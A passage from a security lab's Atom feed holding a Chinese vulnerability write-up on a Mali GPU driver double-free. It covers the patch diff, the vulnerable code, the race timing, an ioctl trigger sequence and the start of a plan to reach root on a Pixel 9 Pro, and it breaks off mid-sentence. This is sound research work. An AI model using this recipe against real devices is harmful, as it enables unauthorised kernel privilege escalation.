<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>京东獬豸信息安全实验室</title>
  
  
  <link href="https://dawnslab.jd.com/atom.xml" rel="self"/>
  
  <link href="https://dawnslab.jd.com/"/>
  <updated>2025-12-08T03:57:57.109Z</updated>
  <id>https://dawnslab.jd.com/</id>
  
  <author>
    <name>京东獬豸信息安全实验室</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>悬挂的指针、脆弱的内存──从一个未公开的漏洞到 Pixel 9 Pro 提权</title>
    <link href="https://dawnslab.jd.com/Pixel_9_Pro_EoP/"/>
    <id>https://dawnslab.jd.com/Pixel_9_Pro_EoP/</id>
    <published>2025-12-04T11:25:55.000Z</published>
    <updated>2025-12-08T03:57:57.109Z</updated>
    
    <content type="html"><![CDATA[<p>GPU 驱动由于其与内存管理的紧密联系，已经成为近年来 Android Kernel 中一个比较有价值的攻击面，与 GPU 相关的 CVE 不算少，但是只有很少数漏洞被公开分析，安全公告中也不会谈及漏洞细节，因此每个版本的 patch 就成了分析漏洞的重要线索。</p><span id="more"></span><h3 id="初步分析"><a class="markdownIt-Anchor" href="#初步分析"></a> 初步分析</h3><p>在使用 LLM 分析 Mali GPU 驱动新版本 patch (r54p0 → r54p1) 的时候，我们在 <code>csf/mali_kbase_csf_cpu_queue.c</code> 文件中发现了以下变更：</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"> int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_printer *kbpr)</span><br><span class="line"> &#123;</span><br><span class="line"><span class="deletion">-       bool timed_out = false;</span></span><br><span class="line"><span class="deletion">-</span></span><br><span class="line">        mutex_lock(&amp;kctx-&gt;csf.lock);</span><br><span class="line">        if (atomic_read(&amp;kctx-&gt;csf.cpu_queue.dump_req_status) != BASE_CSF_CPU_QUEUE_DUMP_COMPLETE) &#123;</span><br><span class="line">                kbasep_print(kbpr, &quot;Dump request already started! (try again)\\n&quot;);</span><br><span class="line"><span class="meta">@@ -110,14 +108,10 @@</span> int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_pr</span><br><span class="line">        kbasep_print(kbpr, &quot;CPU Queues table (version:v&quot; __stringify(</span><br><span class="line">                                   MALI_CSF_CPU_QUEUE_DUMP_VERSION) &quot;):\\n&quot;);</span><br><span class="line"> </span><br><span class="line"><span class="deletion">-       if (WARN_ON(!wait_for_completion_timeout(&amp;kctx-&gt;csf.cpu_queue.dump_cmp,</span></span><br><span class="line"><span class="deletion">-                                                msecs_to_jiffies(3000)))) &#123;</span></span><br><span class="line"><span class="deletion">-               kbasep_print(kbpr, &quot;Failed to wait for completion of dump request\\n&quot;);</span></span><br><span class="line"><span class="deletion">-               timed_out = true;</span></span><br><span class="line"><span class="deletion">-       &#125;</span></span><br><span class="line"><span class="addition">+       wait_for_completion_timeout(&amp;kctx-&gt;csf.cpu_queue.dump_cmp, msecs_to_jiffies(3000));</span></span><br><span class="line"> </span><br><span class="line">        mutex_lock(&amp;kctx-&gt;csf.lock);</span><br><span class="line"><span class="deletion">-       if (!timed_out &amp;&amp; kctx-&gt;csf.cpu_queue.buffer) &#123;</span></span><br><span class="line"><span class="addition">+       if (kctx-&gt;csf.cpu_queue.buffer) &#123;</span></span><br><span class="line">                WARN_ON(atomic_read(&amp;kctx-&gt;csf.cpu_queue.dump_req_status) != BASE_CSF_CPU_QUEUE_DUMP_PENDING);</span><br><span class="line"> </span><br><span class="line">                /* The CPU queue dump is returned as a single formatted string */</span><br><span class="line"><span class="meta">@@ -128,7 +122,7 @@</span> int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_pr</span><br><span class="line">                kctx-&gt;csf.cpu_queue.buffer = NULL;</span><br><span class="line">                kctx-&gt;csf.cpu_queue.buffer_size = 0;</span><br><span class="line">        &#125; else</span><br><span class="line"><span class="deletion">-               kbasep_print(kbpr, &quot;Dump error! (timed_out = %d)\\n&quot;, timed_out);</span></span><br><span class="line"><span class="addition">+               kbasep_print(kbpr, &quot;Dump error! (time out)\\n&quot;);</span></span><br><span class="line"> </span><br><span class="line">        atomic_set(&amp;kctx-&gt;csf.cpu_queue.dump_req_status, BASE_CSF_CPU_QUEUE_DUMP_COMPLETE);</span><br><span class="line"> </span><br></pre></td></tr></table></figure><p>看起来只是移除了一个 timeout 的条件判断，但是在查看周围代码的时候，我们发现了一个朴素的问题。还是在 <code>csf/mali_kbase_csf_cpu_queue.c</code> 文件，kbasep_csf_cpu_queue_dump_print 函数的上方，kbase_csf_cpu_queue_dump_buffer 函数中，对 <code>kctx-&gt;csf.cpu_queue.buffer</code> 调用 kfree 之后，没有立即将其置 NULL，甚至在之后的 else 分支中直接留下了这个悬挂的指针。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">kbase_csf_cpu_queue_dump_buffer</span><span class="params">(<span class="keyword">struct</span> kbase_context *kctx, u64 buffer, <span class="type">size_t</span> buf_size)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">size_t</span> alloc_size = buf_size;</span><br><span class="line">    <span class="type">char</span> *dump_buffer;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!buffer || !buf_size)</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (alloc_size &gt; KBASE_MEM_ALLOC_MAX_SIZE)</span><br><span class="line">        <span class="keyword">return</span> -EINVAL;</span><br><span class="line"></span><br><span class="line">    alloc_size = (alloc_size + PAGE_SIZE) &amp; ~(PAGE_SIZE - <span class="number">1</span>);</span><br><span class="line">    dump_buffer = kzalloc(alloc_size, GFP_KERNEL);</span><br><span class="line">    <span class="keyword">if</span> (!dump_buffer)</span><br><span class="line">        <span class="keyword">return</span> -ENOMEM;</span><br><span class="line"></span><br><span class="line">    WARN_ON(kctx-&gt;csf.cpu_queue.buffer != <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (copy_from_user(dump_buffer, u64_to_user_ptr(buffer), buf_size)) &#123;</span><br><span class="line">        kfree(dump_buffer);</span><br><span class="line">        <span class="keyword">return</span> -EFAULT;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    mutex_lock(&amp;kctx-&gt;csf.lock);</span><br><span class="line"></span><br><span class="line">    kfree(kctx-&gt;csf.cpu_queue.buffer);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="type">atomic_read</span>(&amp;kctx-&gt;csf.cpu_queue.dump_req_status) == BASE_CSF_CPU_QUEUE_DUMP_PENDING) &#123;</span><br><span class="line">        kctx-&gt;csf.cpu_queue.buffer = dump_buffer;</span><br><span class="line">        kctx-&gt;csf.cpu_queue.buffer_size = buf_size;</span><br><span class="line">        complete_all(&amp;kctx-&gt;csf.cpu_queue.dump_cmp);</span><br><span class="line">    &#125; <span class="keyword">else</span></span><br><span class="line">        kfree(dump_buffer);</span><br><span class="line"></span><br><span class="line">    mutex_unlock(&amp;kctx-&gt;csf.lock);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>而且在 kfree 调用前，对 <code>cpu_queue.buffer</code> 的检查仅限于当其不为 NULL 时用 <code>WARN_ON</code> 抛出一个 warning，这直接暗示了这里有 Double Free 的可能性。</p><p>仔细检查 Double Free 的条件：</p><ul><li>首先需要 <code>cpu_queue.dump_req_status</code> 为 <code>BASE_CSF_CPU_QUEUE_DUMP_PENDING</code> 时调用一次函数，给 <code>cpu_queue.buffer</code> 挂上一个指针（符合预设逻辑）</li><li>然后需要 <code>cpu_queue.dump_req_status</code> 不为 <code>BASE_CSF_CPU_QUEUE_DUMP_PENDING</code> 时连续调用函数，使 <code>cpu_queue.buffer</code> 在被 kfree 之后不被修改（不符合预设逻辑）</li></ul><p>检查所有设置 <code>cpu_queue.dump_req_status</code> 的地方，一共有 3 处：</p><ul><li>kbase_csf_cpu_queue_init 可以设置 <code>BASE_CSF_CPU_QUEUE_DUMP_COMPLETE</code>，但 <code>cpu_queue.buffer</code> 也会被清空</li><li>kbase_csf_cpu_queue_read_dump_req 可以设置 <code>BASE_CSF_CPU_QUEUE_DUMP_PENDING</code></li><li>kbasep_csf_cpu_queue_dump_print 会设置两次 <code>cpu_queue.dump_req_status</code>：<ul><li>开头会设置 <code>BASE_CSF_CPU_QUEUE_DUMP_ISSUED</code></li><li>末尾会设置 <code>BASE_CSF_CPU_QUEUE_DUMP_COMPLETE</code></li></ul></li></ul><p>再考虑 r54p1 的 patch 中所移除的 timeout 逻辑，如果在 kbasep_csf_cpu_queue_dump_print 中发生了 timeout，就可以在不重置 <code>cpu_queue.buffer</code> 指针的情况下设置 <code>cpu_queue.dump_req_status</code> 为 <code>BASE_CSF_CPU_QUEUE_DUMP_PENDING</code> 以外的值。</p><p>因此可行的调用顺序为：</p><ol><li>kbasep_csf_cpu_queue_dump_print 开头设置 <code>dump_req_status</code> 为 <code>ISSUED</code></li><li>调用 kbase_csf_cpu_queue_read_dump_req 设置 <code>dump_req_status</code> 为 <code>PENDING</code></li><li>调用 kbase_csf_cpu_queue_dump_buffer，且 kbasep_csf_cpu_queue_dump_print 中 timeout</li><li>kbasep_csf_cpu_queue_dump_print 末尾设置 <code>dump_req_status</code> 为 <code>COMPLETE</code></li></ol><p>很明显这需要一个 race，检查 kbasep_csf_cpu_queue_dump_print 函数的实现可以发现两处设置 <code>dump_req_status</code> 的地方分别用了两次锁，而中间则是 wait_for_completion_timeout，显然在这里 race 是有希望的。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">kbasep_csf_cpu_queue_dump_print</span><span class="params">(<span class="keyword">struct</span> kbase_context *kctx, <span class="keyword">struct</span> kbasep_printer *kbpr)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">bool</span> timed_out = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">    mutex_lock(&amp;kctx-&gt;csf.lock);</span><br><span class="line">    <span class="keyword">if</span> (<span class="type">atomic_read</span>(&amp;kctx-&gt;csf.cpu_queue.dump_req_status) != BASE_CSF_CPU_QUEUE_DUMP_COMPLETE) &#123;</span><br><span class="line">        kbasep_print(kbpr, <span class="string">&quot;Dump request already started! (try again)\\n&quot;</span>);</span><br><span class="line">        mutex_unlock(&amp;kctx-&gt;csf.lock);</span><br><span class="line">        <span class="keyword">return</span> -EBUSY;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="type">atomic_set</span>(&amp;kctx-&gt;csf.cpu_queue.dump_req_status, BASE_CSF_CPU_QUEUE_DUMP_ISSUED);</span><br><span class="line">    init_completion(&amp;kctx-&gt;csf.cpu_queue.dump_cmp);</span><br><span class="line">    kbase_event_wakeup(kctx);</span><br><span class="line">    mutex_unlock(&amp;kctx-&gt;csf.lock);</span><br><span class="line"></span><br><span class="line">    kbasep_print(kbpr, <span class="string">&quot;CPU Queues table (version:v&quot;</span> __stringify(MALI_CSF_CPU_QUEUE_DUMP_VERSION) <span class="string">&quot;):\\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (WARN_ON(!wait_for_completion_timeout(&amp;kctx-&gt;csf.cpu_queue.dump_cmp, msecs_to_jiffies(<span class="number">3000</span>)))) &#123;</span><br><span class="line">        kbasep_print(kbpr, <span class="string">&quot;Failed to wait for completion of dump request\\n&quot;</span>);</span><br><span class="line">        timed_out = <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    mutex_lock(&amp;kctx-&gt;csf.lock);</span><br><span class="line">    <span class="keyword">if</span> (!timed_out &amp;&amp; kctx-&gt;csf.cpu_queue.buffer) &#123;</span><br><span class="line">        WARN_ON(<span class="type">atomic_read</span>(&amp;kctx-&gt;csf.cpu_queue.dump_req_status) != BASE_CSF_CPU_QUEUE_DUMP_PENDING);</span><br><span class="line"></span><br><span class="line">        <span class="comment">/* The CPU queue dump is returned as a single formatted string */</span></span><br><span class="line">        kbasep_puts(kbpr, kctx-&gt;csf.cpu_queue.buffer);</span><br><span class="line">        kbasep_puts(kbpr, <span class="string">&quot;\\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">        kfree(kctx-&gt;csf.cpu_queue.buffer);</span><br><span class="line">        kctx-&gt;csf.cpu_queue.buffer = <span class="literal">NULL</span>;</span><br><span class="line">        kctx-&gt;csf.cpu_queue.buffer_size = <span class="number">0</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span></span><br><span class="line">        kbasep_print(kbpr, <span class="string">&quot;Dump error! (timed_out = %d)\\n&quot;</span>, timed_out);</span><br><span class="line"></span><br><span class="line">    <span class="type">atomic_set</span>(&amp;kctx-&gt;csf.cpu_queue.dump_req_status, BASE_CSF_CPU_QUEUE_DUMP_COMPLETE);</span><br><span class="line"></span><br><span class="line">    mutex_unlock(&amp;kctx-&gt;csf.lock);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>kbase_csf_cpu_queue_dump_buffer 函数本身并不会改变 <code>cpu_queue.dump_req_status</code>，因此只需在 kbasep_csf_cpu_queue_dump_print 函数中 race 成功，就可以随意 free <code>cpu_queue.buffer</code> 指针。</p><h3 id="利用过程"><a class="markdownIt-Anchor" href="#利用过程"></a> 利用过程</h3><p>首先考虑理想中的执行顺序：</p><ol><li>kbasep_csf_cpu_queue_dump_print 被调用</li><li>kbasep_csf_cpu_queue_dump_print 中第一次设置 <code>dump_req_status</code> 为 <code>ISSUED</code> 后，调用 kbase_csf_cpu_queue_read_dump_req 设置 <code>dump_req_status</code> 为 <code>PENDING</code></li><li>等 3s 再调用 kbase_csf_cpu_queue_dump_buffer</li><li>kbasep_csf_cpu_queue_dump_print 中 timeout</li><li>kbasep_csf_cpu_queue_dump_print 第二次设置 <code>dump_req_status</code></li><li>随意调用 kbase_csf_cpu_queue_dump_buffer</li></ol><p>需要解决的问题：</p><ul><li>如何调用 kbasep_csf_cpu_queue_dump_print（找到 race 的入口）</li><li>如何判断 <code>dump_req_status</code> 被第一次设置了（确定开始 race 的时机）</li><li>如何触发 kbasep_csf_cpu_queue_dump_print 中的 timeout</li></ul><h4 id="探索-race-入口"><a class="markdownIt-Anchor" href="#探索-race-入口"></a> 探索 race 入口</h4><p>首先搜索 kbasep_csf_cpu_queue_dump_print 的调用点：</p><ul><li>kbasep_csf_cpu_queue_debugfs_show (debugfs 不可用)</li><li>kcpu_queue_timeout_worker → kcpu_fence_timeout_dump</li></ul><p>kcpu_queue_timeout_worker 函数是 <code>queue-&gt;timeout_work</code> 这个 worker 的具体实现，在 fence_signal_timeout_cb 函数中被执行；</p><p>fence_signal_timeout_cb 又是 <code>queue-&gt;fence_signal_timeout</code> 这个 timer 的 callback，在 kcpu 处理 fence signal 时该 timer 会启动，因此有以下调用链：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">ioctl(KBASE_IOCTL_KCPU_QUEUE_ENQUEUE)</span><br><span class="line">-&gt; kbasep_kcpu_queue_enqueue()</span><br><span class="line">-&gt; kbase_csf_kcpu_queue_enqueue() </span><br><span class="line">-&gt; kbase_kcpu_fence_signal_prepare()</span><br><span class="line">-&gt; fence_signal_timeout_start() -&gt; mod_timer(&amp;kcpu_queue-&gt;fence_signal_timeout, ...)</span><br><span class="line"></span><br><span class="line">fence_signal timeout</span><br><span class="line">-&gt; fence_signal_timeout_cb()</span><br><span class="line">-&gt; queue_work(..., &amp;kcpu_queue-&gt;timeout_work);</span><br><span class="line">-&gt; kcpu_queue_timeout_worker()</span><br><span class="line">-&gt; kcpu_fence_timeout_dump()</span><br><span class="line">-&gt; kbasep_csf_cpu_queue_dump_print()</span><br></pre></td></tr></table></figure><p>也就是说，申请一个 kcpu queue，enqueue 一个 <code>BASE_KCPU_COMMAND_TYPE_FENCE_SIGNAL</code> command，fence signal 超时，就可以触发 kbasep_csf_cpu_queue_dump_print 函数。</p><p>fence signal 在 kcpu_queue 中的处理分为两个阶段：</p><ol><li>prepare 阶段，调用 kbase_kcpu_fence_signal_prepare → mod_timer 启动 timer</li><li>process 阶段，调用 kbasep_kcpu_fence_signal_process → mod_timer/del_timer_sync 刷新/结束 timer</li></ol><p>在调用 kcpu_queue enqueue 的时候，Mali 驱动会先执行所有 command 的 prepare 阶段，再执行所有 command 的 process 阶段。虽然 kbasep_kcpu_fence_signal_process 中并没有明显的阻塞点，但是 kbase_csf_kcpu_queue_process 函数处理 command 的循环中会有一个判断，如果队列中某些 command（比如 CQS_WAIT）出错，就会终止后续 command 的处理。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">kbase_csf_kcpu_queue_process</span><span class="params">(<span class="keyword">struct</span> kbase_kcpu_command_queue *<span class="built_in">queue</span>, <span class="type">bool</span> drain_queue)</span></span><br><span class="line">&#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="type">bool</span> process_next = <span class="literal">true</span>;</span><br><span class="line">    ...</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i != <span class="built_in">queue</span>-&gt;num_pending_cmds; ++i) &#123;</span><br><span class="line">        <span class="class"><span class="keyword">struct</span> <span class="title">kbase_kcpu_command</span> *<span class="title">cmd</span> =</span> &amp;<span class="built_in">queue</span>-&gt;commands[(u8)(<span class="built_in">queue</span>-&gt;start_offset + i)];</span><br><span class="line">        <span class="type">int</span> status;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">switch</span> (cmd-&gt;type) &#123;</span><br><span class="line">        ...</span><br><span class="line">        <span class="keyword">case</span> BASE_KCPU_COMMAND_TYPE_FENCE_SIGNAL:</span><br><span class="line">            status = kbasep_kcpu_fence_signal_process(<span class="built_in">queue</span>, &amp;cmd-&gt;info.fence);</span><br><span class="line">            KBASE_TLSTREAM_TL_KBASE_KCPUQUEUE_EXECUTE_FENCE_SIGNAL_END(kbdev, <span class="built_in">queue</span>, status);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> BASE_KCPU_COMMAND_TYPE_CQS_WAIT:</span><br><span class="line">            status = kbase_kcpu_cqs_wait_process(kbdev, <span class="built_in">queue</span>, &amp;cmd-&gt;info.cqs_wait);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (!status &amp;&amp; !drain_queue) &#123;</span><br><span class="line">                process_next = <span class="literal">false</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                cleanup_cqs_wait(<span class="built_in">queue</span>, &amp;cmd-&gt;info.cqs_wait);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        ...</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!process_next)</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此只要在 fence signal 前加一个会出错的 CQS_WAIT command，就可以让其超时，从而触发 kbasep_csf_cpu_queue_dump_print 函数。</p><h4 id="判断-race-时机"><a class="markdownIt-Anchor" href="#判断-race-时机"></a> 判断 race 时机</h4><p>再来看第二个问题：判断 <code>dump_req_status</code> 被设置的时间点。</p><p>kbase_csf_cpu_queue_read_dump_req 是在 kbase_read 中被调用的，如果 <code>dump_req_status</code> 的旧值是 <code>ISSUED</code>，就会将返回给用户态 read 的 event_data 设置为 <code>BASE_CSF_NOTIFICATION_CPU_QUEUE_DUMP</code>。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">bool</span> <span class="title function_">kbase_csf_cpu_queue_read_dump_req</span><span class="params">(<span class="keyword">struct</span> kbase_context *kctx, <span class="keyword">struct</span> base_csf_notification *req)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> (atomic_cmpxchg(&amp;kctx-&gt;csf.cpu_queue.dump_req_status, BASE_CSF_CPU_QUEUE_DUMP_ISSUED,</span><br><span class="line">               BASE_CSF_CPU_QUEUE_DUMP_PENDING) != BASE_CSF_CPU_QUEUE_DUMP_ISSUED) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    req-&gt;type = BASE_CSF_NOTIFICATION_CPU_QUEUE_DUMP;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此可以在用户态持续 read，直到读到 <code>BASE_CSF_NOTIFICATION_CPU_QUEUE_DUMP</code>，就说明达到了进入 race 的前置条件。</p><h4 id="timeout-and-win-the-race"><a class="markdownIt-Anchor" href="#timeout-and-win-the-race"></a> Timeout and win the race</h4><p>最后，kbasep_csf_cpu_queue_dump_print 函数中的 timeout 也非常容易触发，其等待的是 <code>cpu_queue.dump_cmp</code> 这个 completion，只会在 kbase_csf_cpu_queue_dump_buffer 函数中被 complete。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (WARN_ON(!wait_for_completion_timeout(&amp;kctx-&gt;csf.cpu_queue.dump_cmp, msecs_to_jiffies(<span class="number">3000</span>)))) &#123;</span><br><span class="line">    kbasep_print(kbpr, <span class="string">&quot;Failed to wait for completion of dump request\\n&quot;</span>);</span><br><span class="line">    timed_out = <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (<span class="type">atomic_read</span>(&amp;kctx-&gt;csf.cpu_queue.dump_req_status) == BASE_CSF_CPU_QUEUE_DUMP_PENDING) &#123;</span><br><span class="line">    kctx-&gt;csf.cpu_queue.buffer = dump_buffer;</span><br><span class="line">    kctx-&gt;csf.cpu_queue.buffer_size = buf_size;</span><br><span class="line">    complete_all(&amp;kctx-&gt;csf.cpu_queue.dump_cmp);</span><br><span class="line">&#125; <span class="keyword">else</span></span><br><span class="line">    kfree(dump_buffer);</span><br></pre></td></tr></table></figure><p>因此，只需要进入 race 阶段后 3s 内不调用 kbase_csf_cpu_queue_dump_buffer 就可以触发 timeout，但是要在超时后立即调用 kbase_csf_cpu_queue_dump_buffer，否则等到 <code>dump_req_status</code> 被设置为 <code>COMPLETE</code> 后就无法及时给 <code>cpu_queue.buffer</code> 挂上 kmalloc 指针了。</p><h4 id="page-uaf-get-root"><a class="markdownIt-Anchor" href="#page-uaf-get-root"></a> Page UAF → Get root</h4><p>最终可以构造以下调用：</p><ol><li>ioctl(<code>KBASE_IOCTL_KCPU_QUEUE_ENQUEUE</code>) with <code>CQS_WAIT</code></li><li>ioctl(<code>KBASE_IOCTL_KCPU_QUEUE_ENQUEUE</code>) with <code>FENCE_SIGNAL</code></li><li>wait for fence_signal timeout</li><li>read until <code>BASE_CSF_NOTIFICATION_CPU_QUEUE_DUMP</code></li><li>wait for queue_dump_print timeout</li><li>ioctl(<code>KBASE_IOCTL_CS_CPU_QUEUE_DUMP</code>) immediately</li></ol><p>如果 race 成功，接下来调用 ioctl(<code>KBASE_IOCTL_CS_CPU_QUEUE_DUMP</code>) 就可以重复 kfree 同一个 kmalloc 指针了。</p><p>但是 Mali 驱动中并没有提供直接操作 <code>cpu_queue.buffer</code> 的接口，单纯地多次 free 除了把系统搞崩并没有其他影响，因此考虑寻找其他可控的 gadget，在第一次 free 后把 page 再分配走，从而将 Double Free 转化为可利用的 UAF。</p><p>现在可以检查一下这个 kmalloc 指针的品相：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">kbase_csf_cpu_queue_dump_buffer</span><span class="params">(<span class="keyword">struct</span> kbase_context *kctx, u64 buffer, <span class="type">size_t</span> buf_size)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">size_t</span> alloc_size = buf_size;</span><br><span class="line">    <span class="type">char</span> *dump_buffer;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (alloc_size &gt; KBASE_MEM_ALLOC_MAX_SIZE) <span class="comment">// 0x200000</span></span><br><span class="line">        <span class="keyword">return</span> -EINVAL;</span><br><span class="line"></span><br><span class="line">    alloc_size = (alloc_size + PAGE_SIZE) &amp; ~(PAGE_SIZE - <span class="number">1</span>);</span><br><span class="line">    dump_buffer = kzalloc(alloc_size, GFP_KERNEL);</span><br><span class="line">    <span class="keyword">if</span> (!dump_buffer)</span><br><span class="line">        <span class="keyword">return</span> -ENOMEM;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从 kbase_csf_cpu_queue_dump_buffer 函数中可以看出，alloc size 是页对齐的，所以能用的 gadget 还是比较有限的，小一些的 slab gadget 诸如 signalfd、seq_operations 等都比较难用（需要让大 slab 的 page 被回收再被小 slab 拿走，很不稳定）。</p><p>所幸 dump_buffer 中对 alloc_size 的要求并不算严格，最大可以达到 0x200000。翻一下 kmalloc 的源码可以发现，当请求的 size 大于最大 slab 的 size 时，就会通过 kmalloc_large 直接用 <code>alloc_pages</code> 从 buddy 